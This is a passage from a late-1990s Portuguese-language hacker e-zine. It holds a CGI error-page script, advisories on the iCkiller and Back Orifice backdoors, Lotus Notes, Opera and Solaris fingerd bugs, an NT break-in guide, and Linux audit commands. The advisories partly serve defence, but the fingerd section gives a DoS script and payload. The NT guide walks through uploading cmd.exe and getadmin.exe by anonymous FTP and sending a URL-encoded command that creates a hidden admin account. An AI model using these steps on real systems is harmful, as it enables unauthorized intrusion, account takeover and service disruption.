cometeu... O <A HREF="mailto:$email">administrador</A> ja' foi notificado e
estara a procura do erro... Enquanto isto, <A HREF="$main_page">volte</A>
para a pagina inicial.

Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)
EOM
}
 
sub default
{
print <<EOM;
Houve um erro nao indetificado no processo que voce executou, nao podendo
ser respondido pelo servidor... Voce pode tentar denovo, ou entao visitar
a <A HREF="$main_page">pagina principal</A>, ou entrar em contato com o 
<A HREF="mailto:$email">administrador</A> 
Obs.: O administrador ja' foi notificado do erro.

Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)
EOM
}
---[awsg.cgi]---

	Tambem tem o arquivo .htaccess que voce deve colocar nos diretorios,
	onde o awsg.cgi devera ficar nos diretorios em que  o AWSG,  ficara
	rodando:

---[.htaccess]---
ErrorDocument 401 /awsg.cgi?401
ErrorDocument 403 /awsg.cgi?403
ErrorDocument 404 /awsg.cgi?404
ErrorDocument 500 /awsg.cgi?500
ErrorDocument 696 /awsg.cgi?696
---[.htaccess]---

Agora tenha certeza do que esta fazendo na hora de adaptar o script para 
outras versoes do apache e outros servers. 

	Obs: Modifique os seguintes valores...

	$email = 'coloque o seu email';
	$main_page = 'coloque a sua pagina principal';
	$mailprog = 'coloque o caminho para o seu programa de email';
		
		Nao e' necessario mudar mais nada, e voce pode alterar o
		codigo a vontade, e mande uma copia da modificacao para
		nos da .[P9].

-- Adcionando erros padroes --
by Apache HTTP Server v1.3

		Basicamente, edite o .htaccess do seu diretorio, e coloque a
		seguinte linha:

		ErrorDocument 699 /awsg.cgi?699
	
			Assim quando o erro 699 acontecer, o .htaccess ira chamar
			direto o arquivo /awsg.cgi com o query ?699... Simplez!!!

bi0tekn0log1ez, Inc
Apache Web Server Guardian.cgi - Project
bi0tek@phone9.org - reg (c) Phone9 Inc
 Ŀ
  13 - Phone9.Sekurity advisories... Em caso de panico quebre a janela  
 Ŀ    by the crew   
                                                      ٰ
   [Phone9 Sekurity advisories, sao documentos feitos pelos membros da P9]
   [com o fim de discutir os novos e antigos bugs descobertos em sistemas]
   [e maneiras preventivas de como impedir que sua execucao seja infeliz.]
	
	01:. iCkiller Backdoor
	02:. Back Orifice advisory
	03:. Lotus Notes bug
	04:. Opera DoS crash bug
	05:. Solfingerd bug

[P9] ------------------------------------------------------------------ [P9]
      .[The Phone9 Communications Systems (c) 1997-1998 productions].       
		           .[Sekurity advisory].
			       .[15/05/98 - P9].
		    .[iCkiller Backdoor - by The bloodroot].

Contents:
'''''''''
	
	01: Sumario
	02: Removendo o trojan
	03: Analize do trojan
	04: Tecnicas de prevencao
	05: Informacao sobre o ickill.exe
	06: Informacao sobre o sistema do iCkiller
	   06.1: Unit 1
	   06.2: Unit 2
	07: Checando vulnerabilidade do seu sistema
	08: Conclusao
	09: Phone9 Sekurity Advisory
	

01: Sumario

O programa iCkiller, criado por graffiti (graffuz@hotmail.com), o programa
inicialmente fecha aleatoreamente qualquer ICQ que esteja on-line no momento
mas o programa nao faz so isto, ele tambem instala uma backdoor na maquina,
que executar o programa (ickiller.exe). Eset se copiara para o c:\windows, 
e logo depois ira colocar chaves no registro, instalando a backdoor , que e'
automaticamente ativada toda a vez que o programa e' executado. Uma vez 
executado, ele coloca uma backdoor na porta 5000 ou 7789, podendo copiar,
deletar, criar e executar programas remotamente dentro da windows-box por
meio de um telnet nas portas acima. 

02: Removendo o trojan

1) ctrl+alt+del e finalize os programas "mschv32.exe" qualquer segundo 
   "explorer.exe", ou "1.exe"
2) DELETE qualquer aparicao de MSCHV32.exe e 1.exe
3) Se existir qualquer EXPLORER.EXE no seu c:\windows\systems, delete-o
4) Execute o programa c:\windows\regedit.exe e delete qualquer entrada sob
   o nome de 1.exe, e mschv32.exe.
5) Passe um portscan no seu IP, e veja se alguma porta fora do comum esta 
   aberta, se aberta de um telnet nela e veja o resultado...
6) Deixe um firewall rodando no seu sistema sempre que possivel, pois as 
   conexoes sao por meio de TCP, entao a maioria dos firewalls alerta voce
   sobre qualquer conexao pendente. 

03: Analize do trojan

O programa instala uma especime de servidor nas portas descritas acima, este
servidor que se autoexecuta ao iniciar o windows, tem o nome de 1.exe ou 
explorer.exe (c:\windows\system\explorer.exe), o servidor nao responde a um
software cliente, como no caso do BO, ele responde a qualquer tentativa de
telnet caindo num console que responde a comandos especificados pelo iCkil-
ler, estes que por inicio so deveriam ser do conhecimento do Graffiti. 

04: Tecnicas de prevencao

Firewall: A tecnica mais segura seria a implantacao de um firewall local na
	    sua maquina, assim monitorando qualquer conexao TCP/IP/UDP o seu 
	    windows ficaria a salvo de conexoes nao desejadas...
Port listenner: Colocar um port listenner nas portas da qual o iCkiller usa,
		    assim monitorando qualquer possivel conexao por meio do TCP.
Nukenabber: Nukenabber e' um simples programa que monitora abre as portas
	      que voce seleciona , dando um status de "in use" para todas 
		estas assim nenhuma conexao e' permitida em tais portas.
inControl 3: Um programa que monitora toda a instalacao de um programa, 
		 gerenciando cada entrada que o programa faz no sistema, permite
		 que voce saiba o que e quando algo esta sendo gravado sem a sua
		 permissao no seu sistema (durante a instalacao!!!) Para baixar
		 o inControl 3 va em:
             http://www.zdnet.com/pcmag/pctech/content/15/13/ut1513.001.html

05: Informacao sobre o ickill.exe

Nome do arquivo: ICKILL.EXE, 98s.exe, ICQHIJAAK.EXE
Tamanho: 335,872 bytes
MD5 Message Digest: 711DFB9A0F23058CB238302EB2D46C35

06: Informacoes sobre o sistema do iCkiller

As unidades usadas pelo iCkiller sao:
    #   =Cheval FileCtrl Consts  System  SysInit Dialogs 
3Messages KWindows SysUtils ^Classes QTypInfo sActiveX &Controls
Printers WWinSpool +Graphics vMenus Imm Commctrl dStdCtrls IDlgs
3CommDlg Buttons :Scrute Spin !WSocket WSockbuf Wait WinSock 
8Registry  Unit2  unit1

Todas estas unidades exceto: Scrute, WSocket, WSockbuf, Wait, Unit2, e unit1
sao unidades padroes do delphi, WSocket, WSockbuf, Wait, sao todas unidades
padroes do componentes de winsock, TWSocket. Unit1 e Unit2 sao as duas forms
utilizadas pelo projeto.

06.1: Unit 1

A lista de propriedade do unit1 e' esta:

object Form1: TForm1
  Left = 370
  Top = 198
  BorderIcons = [biSystemMenu]
  BorderStyle = bsDialog
  Caption = 'Form1'
  ClientHeight = 115
  ClientWidth = 436
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  Position = poScreenCenter
  OnClose = FormClose
  OnCreate = FormCreate
  PixelsPerInch = 96
  TextHeight = 13
  object ChatPort: TEdit
    Left = 10
    Top = 41
    Width = 31
    Height = 21
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    ParentFont = False
    TabOrder = 0
    Text = '5000'
    Visible = False
  end
  object DelaiDistant: TSpinEdit
    Left = 45
    Top = 41
    Width = 41
    Height = 22
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    MaxValue = 500
    MinValue = 0
    ParentFont = False
    TabOrder = 1
    Value = 0
    Visible = False
  end
  object SrvSocket: TWSocket
    Proto = 'tcp'
    MultiThreaded = False
    OnSessionAvailable = SrvSocketSessionAvailable
    FlushTimeout = 60
    SendFlags = wsSendNormal
    Left = 5
    Top = 4
  end
  object CliSocket: TWSocket
    Proto = 'tcp'
    MultiThreaded = False
    OnDataAvailable = CliSocketDataAvailable
    OnSessionClosed = CliSocketSessionClosed
    FlushTimeout = 60
    SendFlags = wsSendNormal
    Left = 37
    Top = 5
  end
end

Como voces podem ver e' uma simples form usada em linguagens de programacao,
como delphi, VBasic... Ela possui dois TWSocket, um para o servidor e outro
para o cliente, o servidor possui uma instrucao de eventos para o caso de se
alguem tentar se conectar a ele.

06.2: Unit 2

A lista de propriedades do unit 2 e' esta:

object Form_HD: TForm_HD
  Left = 415
  Top = 189
  Width = 138
  Height = 87
  BorderIcons = [biSystemMenu, biMaximize]
  Caption = 'Form_HD'
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  Position = poScreenCenter
  PixelsPerInch = 96
  TextHeight = 13
  object DriveComboBox: TDriveComboBox
    Left = 20
    Top = 38
    Width = 89
    Height = 19
    TabOrder = 0
    Visible = False
  end
  object Scrute: TScruteDossier
    Dossier = 'c:\'
    Filtre = '*.*'
    SousDossier = False
    OnFichier = ScruteFichier
    OnDossier = ScruteDossier
    OnFinExecute = ScruteFinExecute
    MaxPenetration = 10000
    Left = 70
    Top = 4
  end
  object FileCliSocket: TWSocket
    Proto = 'tcp'
    MultiThreaded = False
    OnDataAvailable = FileCliSocketDataAvailable
    OnSessionConnected = FileCliSocketSessionConnected
    FlushTimeout = 60
    SendFlags = wsSendNormal
    Left = 31
    Top = 3
  end
end

Esta e' a parte maquinaria do programa, possui um componente chamado:
TScruteDossier, que supostamente faz um scan na maquina local, catando os 
nomes de drivers, diretorios, atributos, nomes de arquivos. Em frances a 
palavra Scrute Dossier quer dizer "scaneando arquivos", ou seja um amigo de
graffiti fraces (biohazard pelo que me consta e' o nome dele!!!), criou 
junto com graffiti a backdoor, ou pelo menos fez parte do codigo. 

07: Checando vulnerabilidade do sistema

1) telnet 127.0.0.1 5000 ou 7789
2) portscan nas portas 5000 e 7789 para checar por servicos abertos.
3) Procure pelo iCkiller no seu sistema
4) Procure por entradas no registro sobre o nome de 1.exe e mschv32.exe
5) Nao rode mais o programa iCkiller v1.1, na sua maquina.

08: Conclusao

O iCkiller foi feito por um grande amigo graffiti (da microsoftz.com), que
eu acho que nao teve tanta malicia na hora de fazer o programa, ele instalou
a backdoor? Sim, mas nao totalmente culpado por todas as invasoes nas suas
windows-b0xes, primeiro: Usem unix ou linux, sejam espertos ;) e depois quem
mandou confiar no tio bill? Agora vai aprender do jeito mais sofrido que o
tio bill pode fazer:
format c: /y

09: Phone9 Sekurity Advisory

Pagina da Phone9: 
http://www.phone9.org
...........................
Phone9 Sekurity Advisory Systems:
http://www.phone9.org/html/advisory/
...........................
e-mail: advisory@phone9.org
...........................
sekurity-br: sekuriy-br-owner@phone9.org
...........................
hack-br: hack-br-owner@phone9.org
...........................
autor: bloodroot
mail: blood@phone9.org
...........................
iCkiller: http://www.phone9.org/html/labs/tools/ickiller.zip
iCkiller v2.0: http://www.phone9.org/html/labs/tools/ickiller2.zip
graffit e-mail: graffiti@phone9.org
...........................

contact:[.blood@phone9.org]|[.advisory@phone9.org]
The Phone9 Communications Systems, Inc.
[P9] ------------------------------------------------------------------ [P9]
      .[The Phone9 Communications Systems (c) 1997-1998 productions].       
		           .[Sekurity advisory].
			       .[15/08/98 - P9].
		 .[Back Orifice Advisory - by The bloodroot].

Contents:
'''''''''

	01: Sumario
	02: Comprometimento
	03: Ate onde eu sou vulneravel?
	04: Checando vulnerabilidade de sistema
	05: Deletando o back Orifice
	06: Procurando pela instalacao default 
	07: Medidas de seguranca quanto a redes
	08: Betascan
	09: Conclusao
	10: Phone9 Sekurity Advisory

01: Sumario

Recentemente o grupo hacker "Cult Of Dead Cow (cDc)", lancou um programa
de controle remoto de rede, chama Back Orifice, o nome do programa sendo uma
alusao ao programa "back Office" da microsoft, que tem o mesmo sentido do 
BO (back Orifice). 

O BO, sendo um programa com uma instalacao obscura e totalmente confusa, 
colocando registros e arquivos estranhos no seu HD. O BO e' um sistema de
servidor -> cliente, permitindo que este execute comandos remotamente 
atravez de protocolos UDP, simplesmente especificando o IP. 

Tambem e' bem possivel que o BO tenha intencoes de instalar uma backdoor 
remota no servidor, fazendo com que o servidor seja executa toda a vez que
o windows for iniciado. Escondendo o usuario a opcao de desligar o servidor,
por completo do sistema.

02: Compromentimento

Controle total remotamente em uma maquina "vitima". Podendo ter todos os 
arquivos do seu HD totalmente inseguros. Uma vez instalado o servidor e' 
possivel que a sua maquina nunca seja tao segura como antes, pois o BO, 
tem um pequeno habito de tentar instalar backdoors no seu sistema...

Somente sao vulneraveis maquinas rodando:
- windows95/98/3.x
- Com conexao a internet

O back orifice so funciona por conexoes por meio de protocolos de internet,
mais especificamente UDP (User Datagram Protocol), pela porta 31337!!!

03: Ate onde eu sou vulneravel?
 
A principio o BO nao explora nenhuma falha especifica, descoberta no windows
o cliente so consegue controle remotamente sobre uma maquina, se esta uma
vez tenha roda o BOSERVER.exe, ou BOGUI.EXE, por isto este bug nao uma falha
do windows, e sim uma opcao de controle remoto por meio de um cliente, que
e' a funcao do servidor BO.

Mas, ai voce se pergunta, mas entao nao e' nenhum tipo de backdoor? Errado,
pois o intuito do BO e' , instalar o servidor e sumir com este, sendo assim,
voce nao saberia como deshabilitar o servidor, deixando-o rodando sem ao 
menos saber na sua maquina por meses, ate que alguem faca um estrago no seu
sistema ;)

04: Checando vulnerabilidade do sistema

1- Procure por conexao na porta 31337 ,pelo protocolo UDP, estas na maioria
   das vezes, implicam na conexao de um cliente no seu sistema, fique atento
   a estas entradas...

	Para verificar por entradas nas portas do seu sistema, digite no seu
	prompt:
	c:\windows\netstat -na
	udp   	0 		0 x.x.x.x:31337
	
	Ou...
	c:\windows\netstat -p udp
	udp		0		0 x.x.x.x:31337

	O comando nao muda, somente as flags usadas fazem diferenca mesmo ;).
	Com estes comandos, voce fica vulneravel...

2- Procure por arquivos no seu diretorio do windows:
	c:\windows\systems\ .exe
	c:\windows\systems\windll.dll
	
	Suspeite de arquivos com 124kbytes de tamanho, o servidor do BO, em
	versoes novas (se tiver algum update remoto ;)) pode mudar de nome 
	de .exe para outro nome qualquer.

3- Se qualquer coisa estranha acontecer na sua rede, suspeite, pois o BO,
   pode executar remotamente programas, comandos etc...
	Suspeite de acoes incomuns como:
	- Maquina rebootando sem o seu desejo.
	- Velocidade de conexao a internet diminuida e o computador com uma
	  velocidade pequena.
	- Arquivos novos aparecendo derepende na sua maquina.
	- Programas fechando se o seu pedido..
	
05: Deletando o Back Orifice

Uma funcao que pode mudar toda a prespectiva do BO no seu sistema, deletando
o servidor do seu sistema ja' alivia e muito o risco de invasao na sua maqui
na. 

	Primeiro, va no diretorio c:\windows\systems, e delete o arquivo .exe
	( .exe `espaco .exe`, provavelmente o primeiro arquivo do diretorio ),
	Depois para eliminar qualquer chance de resulreicao do Back Orifice,
	voce pega o regedit.exe (c:\windows\regedit.exe) e entra na seguinte
	chave de registro:
	HKEY_LOCAL_MACHINE\SOFTWARE\Windows\CurrentVersion\RunServices,
	e apague o valor .exe de um dos registros daquela chave. 
	
	Delete todos os arquivos do BO, e nao execute nunca mais nenhum dos
	programas que o BO utiliza. Formate o HD se possivel... ;)

06: Procurando pela instalacoa default

	Edite o arquivo .exe com um edit.com ou notepad.exe mesmo, e veja se
	as ultimas linhas do programa sao assim: 

	8 8$8(8,8084888<8@8D8H8L8P8T8X8\8'8d8h8l8.

	Caso sejam, a instalacao na sua maquina foi default ou seja o BO, esta
	configurado assim:
--
Porta de ataque: 31337
Protocolo: UDP
Nome do servidor: .exe
Nome do dll do servidor: windll.dll
Chave de registro: HKEY_LOCAL_MACHINE\....\CurrentVersion\RunServices
valor do registro: .exe
--

	Do contrario as ultimas linhas do servidor seriam varias linhas 
	incluindo informacoes do tipo:

-- 
<filename>
<service description>
<port number>
<password>
<optional plugin information>
--

07: Medidas de seguranca quanto a redes

	Se voce tem um sistema windowsNT, entao e' bom voce adotar uma 
	politica de seguranca quanto ao Back Orifice, pois o controle sobre um
	usuario no seu sistema pode ser devastador, visto que varios bugs em
	sistemas NT podem ser executados localmente e nao remotamente, por 
	isso dar um hostdeny em hosts onde e' possivel se baixar o Bo, seria
	algo esperto para se fazer. Procure sempre visitar os diretorios dos
	seus usuario a procura de BOs neles. Depois, adapte a seguranca do seu
	sistema para nao permitir conexoes na porta 31337... E nunca pense em
	rodar o BO na sua rede, somente em maquinas locais.


08: Betascan

	Um programa que scaneia o seu sistema e procura do Bo, foi lancado,
	e esta a disposicao de download em:
	http://www.phone9.org/html/labs/tools/betascan.zip
	
	Este programa simplesmente procura pela existencia do servidor (.exe),
	pela entrada no registro e depois, pesquisas as rotinas do windll.dll,
	a procuras de novas inclusoes feitas pelo BO.

09: Conclusao

O Back Orifice em uma visao geral, nao explora nenhum bug, nao faz nenhum 
tipo de nova tecnica hacker e muito menos pode colocar em risco a seguranca
dos sistema windowsNT,98,95, pois o BO, so e' considerado perigoso uma vez
que o dono do computador prefere executa-lo. Nao existe nenhum modo de ser
invadido pelo BO, sem que voce tenha alguma vez na sua vida executado o BO,
ou entao tenha sido alvo de bugs como o MSOutlook'98, e outros, ai e' cada
um pela sua CPU...

10: Phone9 Sekurity Advisory

Pagina da Phone9: 
http://www.phone9.org
...........................
Phone9 Sekurity Advisory Systems:
http://www.phone9.org/html/advisory/
...........................
e-mail: advisory@phone9.org
...........................
sekurity-br: sekuriy-br-owner@phone9.org
...........................
autor: bloodroot
mail: blood@phone9.org
...........................
Back Orifice v1.2: http://www.phone9.org/html/labs/tools/b012.zip
Back Orifice (linux): http://www.phone9.org/html/labs/tools/b012linux.zip
[1] Phone9.org, mirror oficial do BO no brasil.
...........................

contact: [.blood@phone9.org]|[.advisory@phone9.org.]
The Phone9 Communications Systems,Inc.
[P9] ------------------------------------------------------------------ [P9]

      .[The Phone9 Communications Systems (c) 1997-1998 productions].       
		           .[Sekurity advisory].
			       .[09/08/98 - P9].
		  .[Lotus webserver bug - by The bloodroot].

Contents:
'''''''''
 
	01: Sumario
	02: O bug
	03: Checando vulnerabilidade do seu sistema
	04: Possiveis solucoes
	05: Conclusao
	06: Phone9 Sekurity Advisory

01: Sumario

O servidor lotus notes, da empresa domino, possui um serio bug que pode
comprometer a seguranca do sistema inteiro. A versao vulneravel 4.6 e 
versoes maiores, o bug se aplica a empresas que usam o lotus para 
gerenciamento de intranets e desenvolvimento de redes. Os sitema lotus que 
nao esta rodando o HTTPD padrao do lotus esta vulneravel a falha. 

O impacto no sistema e' o seguinte, qualquer usuario pode acessar e criar 
arquivos distintos do sistema, levando a baixo todo o sistema de seguranca 
do sistema. 

02: O bug

Para executar o bug, primeiro e' necessario que voce tenha o software 
cliente, uma vez tendo isto em maos, voce ja pode exploitar o bug...
	
Do client 4.6 do lotus:
1. Abra qualquer database (endereco... rodando lotus server!!!)
2. Clique em Actions -> E veja no seu web browser

Depois entre no seu web browser (lynx? netscape? internet exploder?) e se 
conecte em http://xxx.xxx.xx.xxx/phone9 (onde `phone9` e a database) Mesmo
que voce so tenha o client, agora o servidor lotus esta rodando na porta 80,
entao qualquer pessoa na internet pode acessar http://xxx.xxx.xx.xxx/ e ver
todos os arquivos do sistema em que roda o Lotus. Ou ate' mesmo visualizar
qualquer arquivo: http://xxx.xxx.xx.xxx/passw0rd/?open e voce vera o arquivo
passw0rd...


03: Checando por vulnerabilidade

Se voce tem o lotus server, apenas rode o sistema HTTPD com o servidor que
vem com o lotus, pois este ja' vem patcheado contra o seguinte bug. O seu 
sistema somente e' vulneravel se voce alguma vez rodar o servidor HTTPD de
outra `marca` no servidor, sendo esta nao patcheado entao a vulnerabilidade
e' existente.


04: Possiveis solucoes

- Deshabilite a opcao HTTP no seu servidor.
- So permite que IPs da sua rede acessem os arquivos do seu sistema.
- Nao permita que servidores sejam rodados sozinhos , somente utilize os 
  clientes.
- Mude a permissao dos arquivos para algo que nao seja lido por todos.

05: Conclusao

O Lotus Notes 4.6 e' um servidor para intranets e pode ser um risco serio, 
a atividade deste bug no seu sistema, por isso procure rodar o httpd server
do lotus para evitar qualquer problemas eventuais.

06: Phone9 Sekurity Advisory
...........................
Pagina da Phone9: 
http://www.phone9.org
...........................
Phone9 Sekurity Advisory Systems:
http://www.phone9.org/html/advisory/
...........................
e-mail: advisory@phone9.org
...........................
sekurity-br: sekuriy-br-owner@phone9.org
...........................
autor: bloodroot
mail: blood@phone9.org
...........................

contact: [.blood@phone9.org]|[.advisory@phone9.org.]
The Phone9 Communications Systems,Inc.
[P9] ------------------------------------------------------------------ [P9]

      .[The Phone9 Communications Systems (c) 1997-1998 productions].       
		           .[Sekurity advisory].
			       .[15/08/98 - P9].
		  .[Opera browser crash - by The bloodroot].

Contents:
'''''''''

	01: Sumario
	02: Comprometimento
	03: O bug
	04: Conclusao
	05: Phone9 Sekurity Advisory

01: Sumario

Opera, um novo browser que esta no mercado (http://opera.nta.no), mostrou 
que tem certas falhas no seu controle de erro de enderecos, se uma pessoa
colocar extra caracteres no final de um endereco existente... E' possivel
fazer com que o opera entre em pane e feche. Este bug parece afetar apenas
o browser opera versao 3.6+, testado no Netscape (versoes 2.0,3.0,3.1,4.0)
e no MSIE 4.0 o bug nao e' existente... 

02: Compromentimento

Para a sua rede, ou conexao na internet nada demais ira acontecer, a unica
coisas chata que acontece, e' que o browser fecha repentinamente se voce
acidentalmente (ou propositalmente), executa-lo. E' apenas uma falha no
processamente de erro do opera!!! ;)

03: O bug

Voces devem estar se perguntando que tipo de bug, e' capaz de crashar o 
Opera, o mais estupido o possivel ;) Se voce acrescentar uma barra a mais
em qualquer conexao via http o browser entra em crash, ou seja, e' assim:
Uma conexa http, utiliza no final da especificacao http, duas barras 
exemplo: http://
O Opera , parece nao trata com esta margem de erro e por isso causa o bug no
seu browser. Para testar o bug no seu broser apenas digite:
http:///www.endereco.com.br #--> Nao se esqueca que o bug so e' executado
                            #Se forem acescentadas /// (3) barras no final
				    #do http:!!!

Obs: FTP://, GOPHER://, nao parecem ser vulneraveis em nenhum tipo de ataque
do genero.

04: Conclusao

A resposta da opera quanto ao bug e' o release de um patch para este bug em
menos de uma semana quanto ao que eles disseram... Nao e' nada demais, este
bug nao compromete nenhuma seguranca do seu sistema, ele somente e' 
pe-no-saco quando acontece.

05: Phone9 Sekurity Advisory

Pagina da Phone9: 
http://www.phone9.org
...........................
Phone9 Sekurity Advisory Systems:
http://www.phone9.org/html/advisory/
...........................
e-mail: advisory@phone9.org
...........................
sekurity-br: sekuriy-br-owner@phone9.org
...........................
autor: bloodroot
mail: blood@phone9.org
...........................
Pagina Oficial do Opera: http://opera.nta.no
...........................

contact: [.blood@phone9.org]|[.advisory@phone9.org.]
The Phone9 Communications Systems,Inc.
[P9] ------------------------------------------------------------------ [P9]
      .[The Phone9 Communications Systems (c) 1997-1998 productions].       
		           .[Sekurity advisory].
			       .[15/08/98 - P9].
		  .[Solaris Finger 2.5 bug - by The bloodroot].
 
Contents:
''''''''' 

	01: Sumario
	02: Comprometimento
	03: O bug
	04: Script, faca o meu trabalho
	05: Conclusao
	06: Phone9 Sekurity Advisory

01: Sumario

O componente TCP de rede, finger e seu daemon fingerd , na versao 2.5.1 e 
2.6 parecem ser vulneraveis a seria de ataques DoS originados por sequencias
de comandos causando um grande consumo da CPU time, e consequentemente 
deixando sistema alerdado ou ate' fechando.

02: Comprometimento

Nao envolve nenhum tipo de falha de seguranca, somente faz com que o sistema
fique vulneravel a ataques DoS, devido a grande margem de comandos 
atribuidos ao fingerd. So afeta maquinas solaris, rodando a versao do daemon
de finger (fingerd) 2.5.1 e 2.6. 

03: O bug

Apenas, faca isto:

fuck:/root/> finger @host@host@host@host@host@host .... 25 vezes!!!

ou entao:

fuck:/root/> finger @hosta@hostb --> Onde hostb e' a maquina que esta 
rodando fingerd bugado...

04: Script, faca o meu trabalho

esta e' bem simples... Rode este  script para executar o bug, e' melhor do
que digitar 145 vezes @host!!! hehehehe ;)
--
#!/bin/sh
#
#Finger bug
hostb= #Host que roda fingerd 2.5.1, ou 2.6
145host= #cat /tmp/145fing!!!
finger= #local onde roda o finger
# fingando???
clear
echo "--[ Figerd bug 2.5.1 & 2.6 ]--"
echo "by bloodroot"
echo "blood@phone9.org"
echo
echo "Finger MENU"
echo "1:. 145 @host bug"
echo "2:. hostb attack"
echo
echo "Escolha uma opcao"
read $chc
case $chc in
	1) goto 1 ;;
	2) goto 2 ;;
esac

1:
echo "145 @host bug"
echo "-- Aguarde --"
echo
$finger $145host

2:
echo "hostb attack"
echo "Qual host voce deseja atacar?"
reap fckhst
finger @127.0.0.1@$fckhst
--

E o 145fing esta abaixo:
--
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host@host@host@host@host@host
@host@host@host@host@host@host@host@host@host@host
--

 
05: Conclusao

Ate' o momento a sun ainda nao lancou nenhum patch para este bug... mas nao
e' por falta de espera??? Somente as versoes do fingerd do solaris que e'
vulneravel, outras nao sao!!! (eu testei as do linux slack, e redhat e nada
de bug nelas!!!;))

06: Phone9 Sekurity Advisory


Pagina da Phone9: 
http://www.phone9.org
...........................
Phone9 Sekurity Advisory Systems:
http://www.phone9.org/html/advisory/
...........................
e-mail: advisory@phone9.org
...........................
sekurity-br: sekuriy-br-owner@phone9.org
...........................
autor: bloodroot
mail: blood@phone9.org
...........................
solfingerbug [script]: http://www.phone9.org/html/labs/tools/solfinger.zip
...........................

contact: [.blood@phone9.org]|[.advisory@phone9.org.]
The Phone9 Communications Systems,Inc.
[P9] ------------------------------------------------------------------ [P9]
	Todas as advisories aqui dispostas podem ser utilizadas como
	base para outros documentos, contanto que os devidos creditos
	    sejam dados aos autores das advisories existentes...

contact: [.phone9@phone9.org.]|[.advisory@phone9.org.]
The Phone9 Communications Systems, Inc.
 Ŀ
  14 - Crackeando sistema No Trust							 
 Ŀ   by X-ploiter   
                                                      ٰ

	Windows NT crack guide
	------- -- ----- -----
	"easy hack com getadmin.exe, cmd.exe e gasys.dll"
	by X-ploiter

		Eh uma tecnica bem simples q eu resolvi descrever nesta edicao,
conforme as edicoes forem passando, eu vou explicando mais e mais tecnicas
de ataques em NT.

1. c:\ftp www.xploiter.com.br
220 saturn Microsoft FTP server (version 3.0)
User(www.xploiter.com.br(none)):

	O q isto quer dizer? Q o nome do servidor Netbios eh SATURN. Por meio
deste nome, ele pode deduzir o account anonymous do NT, q permite a 
navegacao em servicos gratis como FTP,WWW,GOPHER. Caso o admin seja um 
tanto burro, ele nao mudou o nome da conta, entao a conta deve ficar assim:
IUSR_SATURN. Entao ele pensa e entra anonymous como user e aparece o 
seguinte:

330 Anonymous acess allowed, send identity (e-mail adress) as password.
password:

	Entao voce digita o seu mail , e se loga no sistema, parece bem 
simples ateh agora, o mesmo processo q em sistema unix, entao voce digita
"cd /c", para tentar acessar o diretorio / do servidor. Depois de viajar 
pelo FTP, ele percebe q o comando "PUT" eh permitido neste computador, entao
voce procura o diretorio "cgi-bin", um otimo lugar para se executar coisas
via www. Entao voce muda o tipo de conexao para binaria (binary), e depois
tente "put cmd.exe", caso voce tenha sorte voce vera algo assim:

200 PORT command successfull
150 Opening binary mode data connection for CMD.EXE
226 Transfer complete
208144 bytes sent in 0.06 seconds (3469.07 Kbytes/sec)

	Depois ele tbm coloca os arquivos "getadmin.exe" e "gasys.dll" no 
cgi-bin, entao ele sai da conexao FTP do servidor e inicializa o seu 
brownser. Entao ele vai para o endereco:

www.xploiter.com.br/cgi-bin/getadmin.exe?IUSR_SATURN

	Depois de um tempo ira aparecer no brownser:
CGI ERROR

The specified CGI application misbehaved by not returning a complete set of
HTTP headers. The headers it did return are: 

Congratulations , now account IUSR_SATURN have administrator rights! 

	Pronto, agora a account IUSR_SATURN estah em status admin, quer mais 
moleza, ou oq? Para criar uma conta faca o seguinte:

http://www.xploiter.com.br/cgi-bin/comd.exe?c%20c:\winnt\system32\net.exe%
20user%20xploiter%20x-p9%20/add 
PS: nao pule a linha, eh tudo um comando soh...

	Entao voce acabou de crair uma conta chamada xploiter com uma senha
chama x-p9.
	
Pronto, os resultados:

Conseguiu admin no sistema
criou umas contas fantasma
e descobriu q a microsoft soh faz sistema de merda...

Os arquivos getadmin.exe , gasys.dll e cmd.exe estao em:
http://www.phone9.org/html/labs/tools/nthck.zip [1]
e em qualquer um dos nossos mirros...
(c) 1998, X-ploiter, inc.
 Ŀ
  14 - Sekurity tools!!!						             
 Ŀ   by the crew    
                                                      ٰ

 	Em todas as edicoes da Phone9 a partir desta, nos tentaremos a 
	medida do possivel, trazer novas ferramentas de seguranca para
	o seu sistema, assim nos poderemos manter os aR00tos um  pouco
	por dentro da profissao que eles executam...

  1) k0mandos seguros para linux:
     -------- ------- ---- ------

    a.) Vendo as portas abertas do seu sistema - by bloodroot

   	Na cheu digite:
  	/usr/local/bin/strobe -V -d -b 1 -e 12000 -n 32 -t4 localhost 
		
    b.) Achando contas com .rhosts - by bloodroot

  	Tambem na cheu digite:
  	find / -name .rhosts -exec ls -al {} \;

    c.) Catando usuarios sem password - by bi0tek
   
  	Modo 1.)
  	cut -f1,2,3 -d: /etc/shadow | grep :: | cut -f1 -d:
	
	Modo 2.)
	grep '::' /etc/passwd
    
    d.) Vendo o log dos 10 ultimos reboots - by bi0tek
	
	last -100 | grep reboot | head -10
		Obs: Mude o 'head -10' para o numero de reboots logados que 
		     voce quer ver.

  2.) Procurando por UIDs:0 e GIDs:0 - by bi0h4zard
      
#!/bin/sh
# Smack my bitch UP!!!
#
if [ `grep -c '^.*:.*:0:' /etc/passwd 2>/dev/null` -gt 1 ]; then 
   echo "Opa!, o root agora tem irmaos !!!"
   grep '^.*:.*:0:' /etc/passwd | grep -v "^root:"
   exit 1
fi
exit 0
	
